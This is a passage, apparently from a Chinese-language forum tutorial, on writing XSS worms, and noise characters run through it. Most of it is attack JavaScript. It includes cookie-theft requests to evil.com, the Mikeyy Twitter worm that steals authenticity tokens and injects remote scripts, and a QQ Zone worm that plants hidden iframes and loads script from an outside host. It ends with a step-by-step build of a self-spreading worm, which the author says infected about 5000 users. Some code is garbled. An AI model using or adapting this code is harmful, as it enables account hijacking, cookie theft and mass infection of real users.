+ r. I  T% @/ U9 sXmlHttp.open("GET","http://www.google.com",false);
2 T, g1 M9 w$ ^8 P1 [6 V
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
6 S8 R" R; k7 K/ @
XmlHttp.send(null);
% J' f( N3 E4 D' J
4 E: q9 ?0 C5 i9 O; y7 Y/ X! G</script>
( r& a+ N* T2 t1 x复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

9 x: a$ y6 D  z& x8 }var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
  K" S9 R9 x4 B1 v
4 k1 f# L0 c+ u7 @: f) G5 _' d% J# @
( p. ?; u6 q' c. I! Y" r+ \
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
7 ~8 _1 Y4 C+ X$ t9 n
: T) W0 V/ {# t8 n1 @XmlHttp.send(null);
( u  ]# a" w+ G; l" o
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
& I) Z- z+ P- M1 @7 a
6 天前 08:27

+ T, w5 D0 e+ m5 H8 x& Z第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
$ c) j3 c- L/ O( e& Z
; {" c  ]8 o  Y; E0 O   2.   

* ~; I, m+ [5 T: X3 Z1 A0 a4 \   3. function XHConn(){  
3 R, {5 S4 }# w  b* g# n0 u+ Y
, }1 y6 U3 v: z   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

& }, M& x# D! P5 l7 R! N. N8 F6 t) h   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

% ?- q" I4 b8 ]% Y. S$ `) l   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

1 \3 }( }, @( {   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  

+ ?0 S  F% i( O: t1 ~; T8 j   2.   var content = document.documentElement.innerHTML;  
; j" I) |( S" D' h
   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  
% }; Z# {" Y: B
   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
. w2 _3 G3 S& c4 {. B' E
   7.   var authtoken=authtoken[1];  
5 b3 d8 _. P3 O  w+ X; O  v# h
   8.   var randomUpdate= new Array();  

! B( d* L. |, w( v   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
1 V( o0 I% p- O8 f! Z
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

; t( U9 P. v1 J/ i' s/ `$ s  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

0 \, W& }4 R4 D& _# {' X  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
% @2 J' J" K* K. `
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
0 ~! J+ |$ a- N6 c; t/ @# w
+ b# t8 l* P, u, v  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
/ b+ r" q6 K/ x$ ]9 H. w
1 F( c% S2 D# o, \" x  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
, I# P+ z9 Q3 {" h
# J1 h: @" _/ w. ~* d  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
; q6 ^5 I9 Z3 T4 r! B' a
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
, G# L, q5 G) q# `0 B! @" J
; j9 n( W- e* X; q  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

* z5 d* _1 r- l- X4 V6 J  24.     
' J; l4 H& u8 |" i/ i4 ^
$ V0 k0 A8 }$ `  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
8 y1 T4 j0 j1 M5 k8 e
! \% P9 @0 [) |: M  P  27.     

  28.   var ajaxConn= new XHConn();  
7 |" ?6 a. p; W& z8 d7 ~0 W) h
  M2 Y/ P/ J! f7 Q9 Z4 E  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
. ~5 K) L! e. b( k0 _, `- g
  30.   var _0xf81bx1c="Mikeyy";  

$ Y# \6 ]2 e) b' W( k+ `& W  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

- r8 X8 z/ P! n" `5 b  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
8 x( }. l4 ^$ e/ F) z1 V
1 U! m2 u: Z2 m5 G. X# P, T/ v* \  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  

  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
9 Z4 Y2 M5 A0 W( y
) K7 v4 K! A% i  38.     

$ \  G* |) g; M+ K6 R  39. } ;  

1 p/ W# o" L, f, j. S. Z  40. setTimeout(wait(),5250);  
% o3 ?: T; s- ^8 Y8 d) T复制代码QQ空间XSSfunction killErrors() {return true;}
4 V+ T3 m; p- q* Y' v
window.onerror=killErrors;
6 M+ U+ X2 _, c  E0 q) g2 H: B
/ b" {# C; T7 ^" s

( c  ?3 ?: |& x/ Q3 S! s( o1 _var shendu;shendu=4;

//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
( U+ I- {& {# ^- N! C" l, i
. h2 p8 a6 I% ?var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

        var gurl=document.location.href;
1 M; D& F$ z; g9 f
        var gurle=gurl.indexOf("com/");
( _0 G6 j6 r% N
        gurl=gurl.substring(0,gurle+3);        

9 K3 x- Y8 _. y' E" M        var visitorID=top.document.documentElement.outerHTML;
& r3 _9 U8 g6 t) |$ K: Z9 _5 E9 v
# K' J2 j% X. E$ S+ \           var cookieS=visitorID.indexOf("g_iLoginUin = ");
" g5 e, T1 R: r# T2 O( L* E8 z* @) S
0 t4 O" e. ?. h8 ?8 [' _6 l# g        visitorID=visitorID.substring(cookieS+14);

, b; M2 o. z' j: Y* K' y        cookieS=visitorID.indexOf(",");
* i/ \3 \  o" }
/ C$ E) z" B% S6 y' {# E        visitorID=visitorID.substring(0,cookieS);

" q0 |# k- ?: L# u/ H  D( q        get_my_blog(visitorID);

7 I5 i5 Z1 C4 ^: M: B( K1 q        DOshuamy();
) E  V3 ^! d1 p6 @% f0 p
2 b; F4 G4 D) M2 L/ X3 B. {9 r- }

//挂马

- l4 r: B( ~& V. m( q6 _" Pfunction DOshuamy(){
8 u" x6 t$ t+ G9 j, p9 ~8 U$ A: [
var ssr=document.getElementById("veryTitle");
! n- T! ?+ K6 E& {" t
# b, ^! o+ ^7 ?4 c2 c6 gssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
& |: e. D2 @: {* q
& E- o) Q" S0 d' }, t! [3 h
0 n* _& |" E- T/ _( v1 C
+ ?+ f! r6 J: ^# g, n/ p/ j0 x//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
5 ~' ~9 g$ |3 K+ u$ W* L- ]9 O3 X
# y: l; ~2 P1 d* X/ Afunction get_my_blog(visitorID){

: D. y! O$ U0 @, V( l. \- Q   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
$ O- c; ^2 @. l% d! a
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
: d/ D' L8 M. H; F7 K
   if(xhr){    //成功就执行下面的
2 T: `5 H* K# y4 \, `- w2 {
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
& G# }. u2 t$ H0 }* o
$ c  ^  {/ W  [' G     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

    }

}
- R) K' z: l- l6 ^+ l- e) R& U

  Z* X6 e4 a& b3 N. y/ Y/ j) q
//这里似乎是判断没有登录的
) z; {7 X1 w' K1 }
5 O9 O, O7 A) i9 T% G4 ^8 Z& Ffunction get_my_blogurl(guest){

  var mybloglist=guest;

0 ?: b! ?% L- `, I3 x" `% Z/ Y  var myurls;var blogids;var blogide;
: f) C+ n' {3 G0 w* U* h
6 ?# N) w3 i- Y7 K, d, _3 l# R  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
9 L4 A) Q- @* F! e$ D
     if(myurls!=-1){    //找到了就执行下面的

" A1 e, d0 }4 Y5 u1 [3 J         mybloglist=mybloglist.substring(myurls+11);

- g5 |: v, `% N% H/ F" C  n         myurls=mybloglist.indexOf(')');
0 r" S% J( f1 b$ C+ g7 j
         myblogid=mybloglist.substring(0,myurls);
- A- m0 M7 g6 u" {7 g. J6 g9 N
$ w/ P$ e8 J( h! s/ s: w2 `. `- |! p        }else{break;}

0 ?, P7 G5 A3 s6 o& O) `# k/ |) ]1 O}

6 X1 E& A! I: o& y& l' U( }* `get_my_testself();    //执行这个函数
2 y8 s# n6 E1 P+ k% M7 Z9 ^* @
}
# D& g. S% _* _  W" u& z* o% @
% a! f/ h" m6 u6 ~

. j$ e6 l2 M. |! N//这里往哪跳就不知道了
$ ?& @2 M; ^7 |' c3 i7 l' g& Q
! i1 }8 C9 D) m$ w, Nfunction get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
4 G: l, V9 j! n
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
+ I, q/ k; q/ H
      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 @$ ]  ?; m0 q+ k+ z, ]
& j! X8 I) y. ?( f: C# ^' @5 C      if(xhr2){        //如果成功
& ]/ o4 n. a$ R% E/ O  \
  e$ R' H4 v+ O( h/ B6 A              xhr2.open("GET",url,false);     //打开上面的那个url

5 C! Y# t. a7 O' ~7 a% \) ?' t7 z              xhr2.send();

: ^5 K: w! _6 H" _  ]3 s9 I              guest2=xhr2.responseText;
  R0 z* [  |2 v7 h& T  P5 F4 _
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

& V$ y% B& o8 @5 J8 l                targetblogurlid=myblogid;   

; F$ h/ q6 S4 Q* {1 N# d3 O                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
! _, L% c( @# L" S& t
* g: z) N& `4 X  w: N               }

' B  r; ]3 ?, N- }1 h              if(mycheckit=="-1"){
$ U5 |7 R2 F6 l- z0 D0 o
                targetblogurlid=myblogid;

6 T9 |/ @" w  |& _2 @& B8 n9 E9 l                add_js(visitorID,targetblogurlid,gurl);    //执行它
! X( }& X( X4 P* Z, \3 `6 a& ]4 t
- A1 n! S' e( H: ~5 w5 Z6 j                break;
- z" \; s; X- {0 k' R% K
               }
6 T3 a8 [9 R1 F
# |2 z/ E  k7 M9 i- \9 O/ `% {        }      
9 R" J+ F- f* _% E3 {- a
}

4 h! l, H" e6 P7 v; ]3 ~; ]" t}
% q( p2 ^' f3 p# v
& z& k5 B1 h+ o8 D. m7 h
* b* Y3 E' K; t6 Z  a& j
1 E; O$ Q$ o9 e2 k; @3 K  M* Z//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
# p: n2 Y8 w& V" a- R+ ?4 O
& P9 Q, z: N6 \8 b& N4 Y    var XMLhttpObject=null;  

% Q- L% S9 G9 @) x7 b) C4 i. [    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
8 O9 Z1 o1 E9 _: W: E4 Z
    else  

6 Z2 Q: u) R; R4 x# [      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
) _7 i# E  Q; ~
        for(var i=0;i<MSXML.length;i++)  
) I1 g6 ]8 {- ?' A( E
  F" @2 q3 I, p8 k        {  

/ j) a! V* t' _) C  }( k            try  

9 u# f/ f4 _* e& w: V  a% Z9 G            {  
2 @7 f$ X) ~2 G. B1 P  d
                XMLhttpObject=new ActiveXObject(MSXML);  

                break;  
' G: F  q" p& [8 a! x
' F/ F, H3 t# e  ]1 }4 ^- I& \            }  
$ \& i1 G7 o0 U6 C6 _
% Y# u, y* C1 {% F            catch (ex) {  
% y9 q8 s- d5 H# P& t' s4 V6 r  Y1 [
            }  

- _' c3 Q2 S6 Z         }  

      }
3 y( l" D8 B0 X1 w
. C8 J* x2 \7 e8 k8 Nreturn XMLhttpObject;

; j9 b# W# M4 }  M! f" y}  


# |" ?- j& [( I; q$ l% s+ q
. _4 D+ _2 Q5 K7 T+ _: k3 d//这里就是感染部分了
: H( _& [0 L  R& N  B4 d! Q/ k
function add_js(visitorID,targetblogurlid,gurl){
: n& }9 n, k3 w
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
  e' {; D' u* o1 P/ V
}
8 j+ ?% ?! T# g5 _6 o

. `; b* n5 c; O6 ]
function add_jsdel(visitorID,targetblogurlid,gurl){
9 V  i; C2 l; |) g
var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
1 m4 v2 j) v7 m3 w1 j
1 p% q; M: K, Q3 Jdocument.getElementsByTagName('head').item(0).appendChild(s2);
' u1 p: Z6 T" B& V+ n1 \$ |
& z0 \8 L3 `9 g) o}
& Z. o- z* o. [7 h: z2 C复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
) z2 V0 {4 n: ?1 Y8 h% J1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
  I4 {6 Z" M" ?
" O& B) H) S! u; S& J5 ]/ D. ]2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
' w( J) y& n/ g
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

, G/ K2 F" A! X! \6 p
* F+ B; h4 e" P* j& m6 H下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
! R1 F& B( W6 i1 [  s" c: h) p
8 m) a$ G& Y4 H! _/ E* y( E首先,自然是判断不同浏览器,创建不同的对象var request = false;
% E$ P$ m1 O9 g4 S- o
if(window.XMLHttpRequest) {
. k- j: Q9 q: C- ]
2 B8 P$ W# `0 E0 I* nrequest = new XMLHttpRequest();

if(request.overrideMimeType) {
( t# \  d/ o  F* Q% k; X+ \
request.overrideMimeType('text/xml');

2 ^  `8 ?2 \3 k8 Y+ P}
+ f1 m6 L: T  K4 i% ]8 p* e' j
} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; H; T- L7 c1 ?/ k
. ~/ x2 U& j- \1 L5 Rfor(var i=0; i<versions.length; i++) {
4 z, E; n) E4 ]& P
try {

, R0 H" M4 p& g& t! Srequest = new ActiveXObject(versions);
1 c6 R! _: ?& {# j& S0 q
} catch(e) {}

$ G. u  s- F7 L  J8 L2 U; w}
* g* ^: F' o( S$ q# w. K
7 @2 a4 L' |' r  q& n}
4 X1 M& k' k, l# `# i& t
9 s) ~% v0 y8 qxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

$ ]7 r1 ?0 a2 ^        var Browser_Name=navigator.appName;

" }8 |2 z; d# W/ {0 p6 D        var Browser_Version=parseFloat(navigator.appVersion);
4 r  e8 e& m7 _
        var Browser_Agent=navigator.userAgent;

, ?$ I- H# ^8 Z        
) [6 ]6 Q- j) J4 }2 x
        var Actual_Version,Actual_Name;

        

3 K4 L; q8 U; [; ]1 c1 j1 g+ r        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

2 }) m* B4 B& j        var is_NN=(Browser_Name=="Netscape");

1 Q5 x. g* W2 q/ z- J3 i        var is_Ch=(Browser_Name=="Chrome");

        

  f. V# b4 G7 w9 ^7 G8 J( R        if(is_NN){
: q* {5 S7 n* E5 o
            if(Browser_Version>=5.0){
$ P% f* r" b% Q
                var Split_Sign=Browser_Agent.lastIndexOf("/");
: o1 r* C* E: d5 W( `: `/ l
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
& p( `0 W& h1 F7 k6 S  d
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

/ K; n- Z; H8 ?8 M5 L# v
) Y9 C3 `0 U' G) s+ H
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
* t6 D$ y1 N4 e/ g; A, W
            }
7 ?$ g" d4 _" Y
            else{

                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
$ S' P* N, r* {; k4 W
) H  g+ ?3 W" r& i3 m            }
( }  C  q; F* ?4 B0 ~3 O! @
1 z. a) k1 B* ?5 s' _: B) |# J" d4 `0 O        }

        else if(is_IE){
3 _. W6 j- I6 i7 {
            var Version_Start=Browser_Agent.indexOf("MSIE");
! P4 r' d8 l5 \# x# g/ M' O
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
# l; M+ J, g1 H1 e
            Actual_Name=Browser_Name;

$ W1 t6 T. k& A7 u8 ~            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

            }
/ f" k+ |8 T7 z* O/ k
' b$ |1 C2 W4 S. ]+ N- }" q8 C6 e( ?            else if(Browser_Agent.indexOf("Opera")!=-1){

4 q8 w4 b/ ]  S; O! G* Z                Actual_Name="Opera";
  _8 J; t- V3 X8 Q5 b3 G
- J" v& u, g8 c, g# E3 @  |                var tempstart=Browser_Agent.indexOf("Opera");
8 y/ C" n/ a: |5 n. A
+ }) D& x. w. C* y; i/ X' F2 r                var tempend=Browser_Agent.length;

; A' V- Q9 E0 P5 d( u! H' Z- R                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
1 D' j1 _, `0 N9 x
            }
& q- K, a  F. }2 n% z+ ~
        }
: B5 s, ^# A' z: ^$ E" h& u
        else if(is_Ch){
8 I  f  z  `7 U" m/ @( j$ ?2 C! Y. Z
            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);
% h. u/ W/ _$ F' w9 ^
: K1 _% P5 K6 S+ g2 G+ H# K$ T; F            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

' u5 Z: F9 Y9 N& P$ f            
2 z& X3 n& B/ J3 W1 b
4 c+ A' w$ \8 e4 C6 A% U            if(Browser_Agent.indexOf("Maxthon")!=-1){

# Z- j; h5 T4 c$ ~                Actual_Name+="(Maxthon)";

. [( [. f, Y2 r+ W; @            }
/ W+ Y! i) r( G3 F
: ?- V% m6 j/ J/ R  t' ^7 t' g8 ]            else if(Browser_Agent.indexOf("Opera")!=-1){
" p+ p; t) X+ |4 C8 I
                Actual_Name="Opera";
0 q- A; F: q0 c6 B" o/ r
                var tempstart=Browser_Agent.indexOf("Opera");

. k0 o! p% O: q% H( }                var tempend=Browser_Agent.length;
8 P" `. v1 I7 }6 T
/ Z4 p7 ^  n3 k% n- d, m                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
) }6 f- n( o6 G8 j1 z  m
  L% p+ r9 q) }# x$ l            }
6 ?0 x4 l+ W7 \6 i
        }

$ s$ R2 r9 c4 u/ T# h3 ^        else{

# ^' F$ l2 f) _6 ]( {8 D7 o            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"
8 F" n( r0 I' n$ k' x  [
        }



        navigator.Actual_Name=Actual_Name;

4 Q  z0 C3 l- C        navigator.Actual_Version=Actual_Version;
2 x& ~, ~+ s  N. F! P2 U
" c0 M7 b' s2 f- L4 g        

' _) y4 y) G; S        this.Name=Actual_Name;
/ o! F; i" U0 a* q  \' L
        this.Version=Actual_Version;

" }  H8 F5 `& q6 i8 X    }
" i1 F/ `* d) g
9 Y8 }$ p+ ?0 I' Y    browserinfo();
' A/ b. k' \1 s
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
  Q& n( f; T$ t' z$ A9 l! [: X
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
2 i' V  t, g) R
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

- c2 b4 y3 T# ?+ C    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
- Z; N: `" p  p7 Y7 l复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
6 m5 N# y! G) G* ~& t: d/ @复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
, u0 d& [* ^' o# o: R: o6 ]1 d2 e) K* x复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
) J  i$ i( p9 _: e
1 _3 ?2 |3 @/ e; q) }xmlHttpReq.send(null);
/ x+ k) X$ o( I. J4 h/ h4 J
4 L" W) d7 W' ]var resource = xmlHttpReq.responseText;

var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
! w: B1 k) `& Q  x
id++;
- T4 p' o! M/ K; f1 N% r2 b
4 d4 D. l0 [2 T! Z5 F/ B}
) |% y, ^! z& }- A) l! U+ S复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

' T7 p5 n8 e. s4 x* O6 @6 mno=resource.search(/my name is/);

$ P. T- R  U' \) O6 F6 F4 V) Ovar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

. v/ Z! t0 h) ?& [) z! i; Bvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

  T$ ]3 D6 x4 GxmlHttpReq.setRequestHeader("content-length",post.length);
) J/ `6 |# _  Y- f
& U  x( E/ W$ W0 d7 C1 vxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
# j. t' w; X. S# E9 x( _1 ?
xmlHttpReq.send(post);

}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

3 x- `( _5 O1 X2 y8 L3 `var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

, W6 L; `' j+ K! W2 N; _9 D8 }var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

( C& E& O) ]# ]6 ^6 x( M9 R' Vvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
& S& J6 D, b( @2 a
3 l3 M6 w7 G8 G% q$ z- FxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

* w( W# ]2 _$ O" t  d: ixmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

7 X/ t+ N' [# z7 s. ExmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
+ a" p  v& t+ j+ _1 D
" l1 P* b6 }/ E1 P4 c  I  h}
% v) j+ j7 z6 @+ r- m7 t! i4 x复制代码-----------------------------------------------------总结-------------------------------------------------------------------
7 c+ }2 m% `' B* `% Y


9 ~, D1 {! d( b$ T本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
5 u1 Q; r+ ]. z  U  V蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

) g, l2 g: I* g6 U9 y
; w4 l* h1 f  t, J+ C) M3 b$ Y1 n2 q



1 t- j& p/ P5 J) P
' M8 q/ J  `8 a$ {( [9 J6 a
本文引用文档资料:
9 _$ c/ m/ f4 e0 j# N: E
8 v3 I& [! c; z"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
